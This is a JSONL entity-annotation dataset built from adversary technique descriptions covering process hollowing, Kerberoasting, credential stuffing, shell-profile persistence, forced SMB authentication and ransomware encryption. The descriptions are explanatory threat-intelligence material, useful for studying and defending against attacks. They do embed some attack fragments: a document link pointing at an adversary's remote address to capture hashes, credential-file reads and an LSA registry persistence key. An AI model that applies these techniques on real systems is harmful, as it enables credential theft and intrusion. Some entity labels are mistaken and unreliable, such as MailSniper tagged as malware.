+{"text": "Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process.  \n\nProcess hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as <code>CreateProcess</code>, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as <code>ZwUnmapViewOfSection</code> or <code>NtUnmapViewOfSection</code>  before being written to, realigned to the injected code, and resumed via <code>VirtualAllocEx</code>, <code>WriteProcessMemory</code>, <code>SetThreadContext</code>, then <code>ResumeThread</code> respectively.\n\nThis is very similar to Thread Local Storage but creates a new process rather than targeting an existing process. This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process.", "spans": {"SYSTEM: Windows": [[440, 447]], "VULNERABILITY: process hollowing": [[1216, 1233]]}, "info": {"source": "apt_reports", "name": "Process Hollowing"}}
+{"text": "Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.\n\nWhen initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This could also enable an adversary to move from a virtualized environment, such as within a virtual machine or container, onto the underlying host. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods.\n\nAdversaries may bring a signed vulnerable driver onto a compromised machine so that they can exploit the vulnerability to execute code in kernel mode. This process is sometimes referred to as Bring Your Own Vulnerable Driver (BYOVD). Adversaries may include the vulnerable driver with files delivered during Initial Access or download it to a compromised system via Ingress Tool Transfer or Lateral Tool Transfer.", "spans": {"VULNERABILITY: privilege escalation": [[469, 489], [1365, 1385]]}, "info": {"source": "apt_reports", "name": "Exploitation for Privilege Escalation"}}
+{"text": "Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code. Usage of a resource fork is identifiable when displaying a file’s extended attributes, using <code>ls -l@</code> or <code>xattr -l</code> commands. Resource forks have been deprecated and replaced with the application bundle structure. Non-localized resources are placed at the top level directory of an application bundle, while localized resources are placed in the <code>/Resources</code> folder.\n\nAdversaries can use resource forks to hide malicious data that may otherwise be stored directly in files. Adversaries can execute content with an attached resource fork, at a specified offset, that is moved to an executable location then invoked. Resource fork content may also be obfuscated/encrypted until execution.", "spans": {}, "info": {"source": "apt_reports", "name": "Resource Forking"}}
+{"text": "Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials, revoked permissions for SaaS platforms such as Sharepoint) to remove access to accounts. Adversaries may also subsequently log off and/or perform a System Shutdown/Reboot to set malicious changes into place.\n\nIn Windows, Net utility, <code>Set-LocalUser</code> and <code>Set-ADAccountPassword</code> PowerShell cmdlets may be used by adversaries to modify user accounts. Accounts could also be disabled by Group Policy. In Linux, the <code>passwd</code> utility may be used to change passwords. On ESXi servers, accounts can be removed or modified via esxcli (`system account set`, `system account remove`).\n\nAdversaries who use ransomware or similar attacks may first perform this and other Impact behaviors, such as Data Destruction and Defacement, in order to impede incident response/recovery before completing the Data Encrypted for Impact objective.", "spans": {"TOOL: PowerShell": [[508, 518]], "SYSTEM: ESXi": [[706, 710]], "SYSTEM: Windows": [[420, 427]], "SYSTEM: Group Policy": [[614, 626]], "SYSTEM: Linux": [[631, 636]]}, "info": {"source": "apt_reports", "name": "Account Access Removal"}}
+{"text": "Adversaries may use credentials obtained from breach dumps of unrelated accounts to gain access to target accounts through credential overlap. Occasionally, large numbers of username and password pairs are dumped online when a website or service is compromised and the user account credentials accessed. The information may be useful to an adversary attempting to compromise accounts by taking advantage of the tendency for users to use the same passwords across personal and business accounts.\n\nCredential stuffing is a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies.\n\nTypically, management services over commonly used ports are used when stuffing credentials. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.", "spans": {"TOOL: SSH": [[814, 817]], "TOOL: RDP": [[943, 946]], "TOOL: VNC": [[1089, 1092]], "SYSTEM: Office 365": [[1319, 1329]], "SYSTEM: Kerberos": [[923, 931]], "SYSTEM: MySQL": [[1070, 1075]], "SYSTEM: SMB": [[872, 875]], "SYSTEM: LDAP": [[906, 910]]}, "info": {"source": "apt_reports", "name": "Credential Stuffing"}}
+{"text": "Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service ).    \n\nAdversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC).   Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline Brute Force attacks that may expose plaintext credentials.   \n\nThis same attack could be executed using service tickets captured from network traffic. \n\nCracked hashes may enable Persistence, Privilege Escalation, and  Lateral Movement via access to Valid Accounts.", "spans": {"SYSTEM: Kerberos": [[123, 131], [299, 307], [361, 369], [540, 548]], "SYSTEM: Windows": [[80, 87]]}, "info": {"source": "apt_reports", "name": "Kerberoasting"}}
+{"text": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses. \n\nPayloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and Deobfuscate/Decode Files or Information for User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.  Adversaries may also use compressed or archived scripts, such as JavaScript. \n\nPortions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery.  Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. \n\nAdversaries may also abuse Command Obfuscation to obscure commands executed from payloads or directly via Command and Scripting Interpreter. Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms.", "spans": {}, "info": {"source": "apt_reports", "name": "Obfuscated Files or Information"}}
+{"text": "Adversaries may disable or modify multi-factor authentication (MFA) mechanisms to enable persistent access to compromised accounts.\n\nOnce adversaries have gained access to a network by either compromising an account lacking MFA or by employing an MFA bypass method such as Multi-Factor Authentication Request Generation, adversaries may leverage their access to modify or completely disable MFA defenses. This can be accomplished by abusing legitimate features, such as excluding users from Azure AD Conditional Access Policies, registering a new yet vulnerable/adversary-controlled MFA method, or by manually patching MFA programs and configuration files to bypass expected functionality.\n\nFor example, modifying the Windows hosts file (`C:\\windows\\system32\\drivers\\etc\\hosts`) to redirect MFA calls to localhost instead of an MFA server may cause the MFA process to fail. If a \"fail open\" policy is in place, any otherwise successful authentication attempt may be granted access without enforcing MFA.  \n\nDepending on the scope, goals, and privileges of the adversary, MFA defenses may be disabled for individual accounts or for all accounts tied to a larger group, such as all domain accounts in a victim's network environment.", "spans": {"FILEPATH: C:\\windows\\system32\\drivers\\etc\\hosts`)": [[739, 778]], "SYSTEM: Windows": [[718, 725]], "SYSTEM: Azure AD": [[491, 499]], "SYSTEM: Azure": [[491, 496]]}, "info": {"source": "apt_reports", "name": "Multi-Factor Authentication"}}
+{"text": "Adversaries may target an Exchange server, Office 365, or Google Workspace to collect sensitive information. Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services, Office 365, or Google Workspace to access email using credentials or access tokens. Tools such as MailSniper can be used to automate searches for specific keywords.", "spans": {"SYSTEM: Office 365": [[43, 53], [313, 323]], "ORGANIZATION: Google": [[58, 64], [328, 334]], "MALWARE: MailSniper": [[411, 421]]}, "info": {"source": "apt_reports", "name": "Remote Email Collection"}}
+{"text": "Adversaries may install malicious components that run on Internet Information Services (IIS) web servers to establish persistence. IIS provides several mechanisms to extend the functionality of the web servers. For example, Internet Server Application Programming Interface (ISAPI) extensions and filters can be installed to examine and/or modify incoming and outgoing IIS web requests. Extensions and filters are deployed as DLL files that export three functions: <code>Get{Extension/Filter}Version</code>, <code>Http{Extension/Filter}Proc</code>, and (optionally) <code>Terminate{Extension/Filter}</code>. IIS modules may also be installed to extend IIS web servers.\n\nAdversaries may install malicious ISAPI extensions and filters to observe and/or modify traffic, execute commands on compromised machines, or proxy command and control traffic. ISAPI extensions and filters may have access to all IIS web requests and responses. For example, an adversary may abuse these mechanisms to modify HTTP responses in order to distribute malicious commands/content to previously comprised hosts.\n\nAdversaries may also install malicious IIS modules to observe and/or modify traffic. IIS 7.0 introduced modules that provide the same unrestricted access to HTTP requests and responses as ISAPI extensions and filters. IIS modules can be written as a DLL that exports <code>RegisterModule</code>, or as a .NET application that interfaces with ASP.NET APIs to access IIS HTTP requests.", "spans": {"SYSTEM: IIS": [[88, 91], [131, 134], [369, 372], [608, 611], [652, 655], [899, 902], [1130, 1133], [1176, 1179], [1309, 1312], [1456, 1459]], "SYSTEM: .NET": [[1395, 1399]]}, "info": {"source": "apt_reports", "name": "IIS Components"}}
+{"text": "Adversaries may attempt to mimic features of valid code signatures to increase the chance of deceiving a user, analyst, or tool. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. Adversaries can copy the metadata and signature information from a signed program, then use it as a template for an unsigned program. Files with invalid code signatures will fail digital signature validation checks, but they may appear more legitimate to users and security tools may improperly handle these files.\n\nUnlike Code Signing, this activity will not result in a valid signature.", "spans": {}, "info": {"source": "apt_reports", "name": "Invalid Code Signature"}}
+{"text": "Adversaries may carry out malicious operations using a virtual instance to avoid detection. A wide variety of virtualization technologies exist that allow for the emulation of a computer or computing environment. By running malicious code inside of a virtual instance, adversaries can hide artifacts associated with their behavior from security tools that are unable to monitor activity inside the virtual instance. Additionally, depending on the virtual networking implementation (ex: bridged adapter), network traffic generated by the virtual instance can be difficult to trace back to the compromised host as the IP address and hostname might not match known values.\n\nAdversaries may utilize native support for virtualization (ex: Hyper-V), deploy lightweight emulators (ex: QEMU), or drop the necessary files to run a virtual instance (ex: VirtualBox binaries). After running a virtual instance, adversaries may create a shared folder between the guest and host with permissions that enable the virtual instance to interact with the host file system.\n\nThreat actors may also leverage temporary virtualized environments such as the Windows Sandbox, which supports the use of `.wsb` configuration files for defining execution parameters. For example, the `<MappedFolder>` property supports the creation of a shared folder, while the `<LogonCommand>` property allows the specification of a payload.\n\nIn VMWare environments, adversaries may leverage the vCenter console to create new virtual machines. However, they may also create virtual machines directly on ESXi servers by running a valid `.vmx` file with the `/bin/vmx` utility. Adding this command to `/etc/rc.local.d/local.sh` (i.e., RC Scripts) will cause the VM to persistently restart. Creating a VM this way prevents it from appearing in the vCenter console or in the output to the `vim-cmd vmsvc/getallvms` command on the ESXi server, thereby hiding it from typical administrative activities.", "spans": {"FILEPATH: /bin/vmx`": [[1615, 1624]], "FILEPATH: /etc/rc.local.d/local.sh`": [[1658, 1683]], "TOOL: cmd": [[1848, 1851]], "SYSTEM: ESXi": [[1561, 1565], [1884, 1888]], "SYSTEM: Windows": [[1135, 1142]], "SYSTEM: Hyper-V": [[734, 741]], "SYSTEM: vCenter": [[1454, 1461], [1803, 1810]]}, "info": {"source": "apt_reports", "name": "Run Virtual Instance"}}
+{"text": "The <code>trap</code> command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common  keyboard interrupts like <code>ctrl+c</code> and <code>ctrl+d</code>. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format <code>trap 'command list' signals</code> where \"command list\" will be executed when \"signals\" are received.", "spans": {}, "info": {"source": "apt_reports", "name": "Trap"}}
+{"text": "Adversaries may utilize polymorphic code (also known as metamorphic or mutating code) to evade detection. Polymorphic code is a type of software capable of changing its runtime footprint during code execution. With each execution of the software, the code is mutated into a different version of itself that achieves the same purpose or objective as the original. This functionality enables the malware to evade traditional signature-based defenses, such as antivirus and antimalware tools. \nOther obfuscation techniques can be used in conjunction with polymorphic code to accomplish the intended effects, including using mutation engines to conduct actions such as Software Packing, Command Obfuscation, or Encrypted/Encoded File.", "spans": {"VULNERABILITY: code execution": [[194, 208]]}, "info": {"source": "apt_reports", "name": "Polymorphic Code"}}
+{"text": "Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through Brute Force. This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).\n\nPassword policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as <code>net accounts (/domain)</code>, <code>Get-ADDefaultDomainPasswordPolicy</code>, <code>chage -l <username></code>, <code>cat /etc/pam.d/common-password</code>, and <code>pwpolicy getaccountpolicies</code>  . Adversaries may also leverage a Network Device CLI on network devices to discover password policy information (e.g. <code>show aaa</code>, <code>show aaa common-criteria policy all</code>).\n\nPassword policies can be discovered in cloud environments using available APIs such as <code>GetAccountPasswordPolicy</code> in AWS .", "spans": {"FILEPATH: /etc/pam.d/common-password</code>,": [[866, 900]], "SYSTEM: macOS": [[679, 684]], "SYSTEM: Windows": [[659, 666]], "SYSTEM: AWS": [[1268, 1271]], "SYSTEM: Linux": [[668, 673]], "VULNERABILITY: brute force": [[358, 369]]}, "info": {"source": "apt_reports", "name": "Password Policy Discovery"}}
+{"text": "Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.\n\nAdversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.\n\nSince the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges.", "spans": {}, "info": {"source": "apt_reports", "name": "Event Triggered Execution"}}
+{"text": "Adversaries may establish persistence through executing malicious commands triggered by a user’s shell. User Unix Shells execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (<code>/etc</code>) and the user’s home directory (<code>~/</code>) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user’s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately. \n\nAdversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the <code>/etc/profile</code> and <code>/etc/profile.d</code> files. These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into <code>~/.bash_profile</code>, <code>~/.bash_login</code>, or <code>~/.profile</code> which are sourced when a user opens a command-line interface or connects remotely. Since the system only executes the first existing file in the listed order, adversaries have used <code>~/.bash_profile</code> to ensure execution. Adversaries have also leveraged the <code>~/.bashrc</code> file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface. Some malware targets the termination of a program to trigger execution, adversaries can use the <code>~/.bash_logout</code> file to execute malicious commands at the end of a session. \n\nFor macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using <code>/etc/profile</code>, <code>/etc/zshenv</code>, <code>/etc/zprofile</code>, and <code>/etc/zlogin</code>. The login shell then configures the user environment with <code>~/.zprofile</code> and <code>~/.zlogin</code>. The interactive shell uses the <code>~/.zshrc</code> to configure the user environment. Upon exiting, <code>/etc/zlogout</code> and <code>~/.zlogout</code> are executed. For legacy programs, macOS executes <code>/etc/bashrc</code> on startup.", "spans": {"FILEPATH: /etc/profile": [[521, 533]], "FILEPATH: /etc/profile</code>": [[1110, 1129]], "FILEPATH: /etc/profile.d</code>": [[1140, 1161]], "FILEPATH: /etc/profile</code>,": [[2377, 2397]], "FILEPATH: /etc/zshenv</code>,": [[2404, 2423]], "FILEPATH: /etc/zprofile</code>,": [[2430, 2451]], "FILEPATH: /etc/zlogin</code>.": [[2462, 2481]], "FILEPATH: /etc/zlogout</code>": [[2701, 2720]], "FILEPATH: /etc/bashrc</code>": [[2805, 2823]], "TOOL: SSH": [[308, 311]], "SYSTEM: macOS": [[2098, 2103], [2196, 2201], [2784, 2789]], "SYSTEM: Unix": [[109, 113]], "SYSTEM: Linux": [[1020, 1025]]}, "info": {"source": "apt_reports", "name": "Unix Shell Configuration Modification"}}
+{"text": "Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept.\n\nThe Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.\n\nWeb Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443.\n\nAdversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary  (i.e. Template Injection), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource, it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary-controlled server. With access to the credential hash, an adversary can perform off-line Brute Force cracking to gain access to plaintext credentials.\n\nThere are several different ways this can occur. Some specifics from in-the-wild use include:\n\n* A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. Template Injection). The document can include, for example, a request similar to <code>file[:]//[remote address]/Normal.dotm</code> to trigger the SMB request.\n* A modified .LNK or .SCF file with the icon filename pointing to an external reference such as <code>\\\\[remote address]\\pic.png</code> that will force the system to load the resource when the icon is rendered to repeatedly gather credentials.\n\nAlternatively, by leveraging the <code>EfsRpcOpenFileRaw</code> function, an adversary can send SMB requests to a remote system's MS-EFSRPC interface and force the victim computer to initiate an authentication procedure and share its authentication details. The Encrypting File System Remote Protocol (EFSRPC) is a protocol used in Windows networks for maintenance and management operations on encrypted data that is stored remotely to be accessed over a network. Utilization of <code>EfsRpcOpenFileRaw</code> function in EFSRPC is used to open an encrypted object on the server for backup or restore. Adversaries can collect this data and abuse it as part of a NTLM relay attack to gain access to remote systems on the same internal network.", "spans": {"SYSTEM: NTLM": [[2986, 2990]], "SYSTEM: SMB": [[201, 204], [395, 398], [776, 779], [988, 991], [1521, 1524], [2066, 2069], [2420, 2423]], "SYSTEM: Windows": [[235, 242], [354, 361], [734, 741], [2656, 2663]], "VULNERABILITY: spearphishing": [[1069, 1082], [1793, 1806]]}, "info": {"source": "apt_reports", "name": "Forced Authentication"}}
+{"text": "Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens.  An account can hold additional SIDs in the SID-History Active Directory attribute , allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\n\nWith Domain Administrator (or equivalent) rights, harvested or well-known SID values  may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as Remote Services, SMB/Windows Admin Shares, or Windows Remote Management.", "spans": {"SYSTEM: SMB": [[857, 860]], "SYSTEM: Windows": [[97, 104], [207, 214], [861, 868], [886, 893]], "SYSTEM: Active Directory": [[328, 344]]}, "info": {"source": "apt_reports", "name": "SID-History Injection"}}
+{"text": "Adversaries may bridge network boundaries by compromising perimeter network devices or internal devices responsible for network segmentation. Breaching these devices may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.\n\nDevices such as routers and firewalls can be used to create boundaries between trusted and untrusted networks.  They achieve this by restricting traffic types to enforce organizational policy in an attempt to reduce the risk inherent in such connections.  Restriction of traffic can be achieved by prohibiting IP addresses, layer 4 protocol ports, or through deep packet inspection to identify applications.  To participate with the rest of the network, these devices can be directly addressable or transparent, but their mode of operation has no bearing on how the adversary can bypass them when compromised.\n\nWhen an adversary takes control of such a boundary device, they can bypass its policy enforcement to pass normally prohibited traffic across the trust boundary between the two separated networks without hinderance.  By achieving sufficient rights on the device, an adversary can reconfigure the device to allow the traffic they want, allowing them to then further achieve goals such as command and control via Multi-hop Proxy or exfiltration of data via Traffic Duplication. Adversaries may also target internal devices responsible for network segmentation and abuse these in conjunction with Internal Proxy to achieve the same goals.  In the cases where a border device separates two separate organizations, the adversary can also facilitate lateral movement into new victim environments.", "spans": {}, "info": {"source": "apt_reports", "name": "Network Boundary Bridging"}}
+{"text": "Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.\n\nIn the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted (and often renamed and/or tagged with specific file markers). Adversaries may need to first employ other behaviors, such as File and Directory Permissions Modification or System Shutdown/Reboot, in order to unlock and/or gain access to manipulate these files. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR. Adversaries may also encrypt virtual machines hosted on ESXi or other hypervisors. \n\nTo maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like Valid Accounts, OS Credential Dumping, and SMB/Windows Admin Shares. Encryption malware may also leverage Internal Defacement, such as changing victim wallpapers or ESXi server login messages, or otherwise intimidate victims by sending ransom notes or other messages to connected printers (known as \"print bombing\").\n\nIn cloud environments, storage objects within compromised accounts may also be encrypted. For example, in AWS environments, adversaries may leverage services such as AWS’s Server-Side Encryption with Customer Provided Keys (SSE-C) to encrypt data.", "spans": {"SYSTEM: ESXi": [[1100, 1104], [1479, 1483]], "SYSTEM: SMB": [[1357, 1360]], "SYSTEM: Windows": [[1361, 1368]], "SYSTEM: AWS": [[1738, 1741], [1798, 1801]]}, "info": {"source": "apt_reports", "name": "Data Encrypted for Impact"}}
+{"text": "Adversaries may erase the contents of storage devices on specific systems as well as large numbers of systems in a network to interrupt availability to system and network resources.\n\nAdversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface. Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data. Adversaries have been observed leveraging third-party drivers like RawDisk to directly access disk content. This behavior is distinct from Data Destruction because sections of the disk erased instead of individual files.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like Valid Accounts, OS Credential Dumping, and Windows Admin Shares.", "spans": {"SYSTEM: Windows": [[1136, 1143]], "MALWARE: RawDisk": [[684, 691]]}, "info": {"source": "apt_reports", "name": "Disk Content Wipe"}}
+{"text": "Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted programs. Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site.\n\nAdversaries may attempt to subvert these trust mechanisms. The method adversaries use will depend on the specific mechanism they seek to subvert. Adversaries may conduct File and Directory Permissions Modification or Modify Registry in support of subverting these controls. Adversaries may also create or steal code signing certificates to acquire trust on target systems.", "spans": {}, "info": {"source": "apt_reports", "name": "Subvert Trust Controls"}}
+{"text": "Adversaries may leverage the <code>AuthorizationExecuteWithPrivileges</code> API to escalate privileges by prompting the user for credentials. The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. \n\nAlthough this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.\n\nAdversaries may abuse <code>AuthorizationExecuteWithPrivileges</code> to obtain root privileges in order to install malicious software on victims and install persistence mechanisms. This technique may be combined with Masquerading to trick the user into granting escalated privileges to malicious code. This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.", "spans": {"SYSTEM: macOS": [[528, 533]]}, "info": {"source": "apt_reports", "name": "Elevated Execution with Prompt"}}
+{"text": "Adversaries may gather information about the victim's host firmware that can be used during targeting. Information about host firmware may include a variety of details such as type and versions on specific hosts, which may be used to infer more information about hosts in the environment (ex: configuration, purpose, age/patch level, etc.).\n\nAdversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about host firmware may only be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Supply Chain Compromise or Exploit Public-Facing Application).", "spans": {}, "info": {"source": "apt_reports", "name": "Firmware"}}
+{"text": "Adversaries may employ an encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.", "spans": {}, "info": {"source": "apt_reports", "name": "Encrypted Channel"}}
+{"text": "Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as dynamic link libraries (DLLs) containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts.\n\nBefore registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation.\n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made.", "spans": {"SYSTEM: Windows": [[0, 7]]}, "info": {"source": "apt_reports", "name": "Password Filter DLL"}}
+{"text": "Adversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system.\n\nAdversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\</code> with the key value of <code>\"Authentication Packages\"=&lt;target binary&gt;</code>. The binary will then be executed by the system when the authentication packages are loaded.", "spans": {"SYSTEM: Windows": [[85, 92], [445, 452]]}, "info": {"source": "apt_reports", "name": "Authentication Package"}}
+{"text": "Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft. \n\nMalicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed.  This variation of the technique is often referred to as a \"Squiblydoo\" and has been used in campaigns targeting governments.  \n\nRegsvr32.exe can also be leveraged to register a COM Object used to establish persistence via Component Object Model Hijacking.", "spans": {"TOOL: regsvr32": [[433, 441], [514, 522]], "SYSTEM: Windows": [[227, 234], [500, 507]], "ORGANIZATION: Microsoft": [[290, 299]]}, "info": {"source": "apt_reports", "name": "Regsvr32"}}
+{"text": "An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. The compression is done separately from the exfiltration channel and is performed using a custom program or algorithm, or a more common compression library or utility such as 7zip, RAR, ZIP, or zlib.", "spans": {"TOOL: RAR": [[364, 367]], "TOOL: 7zip": [[358, 362]]}, "info": {"source": "apt_reports", "name": "Data Compressed"}}
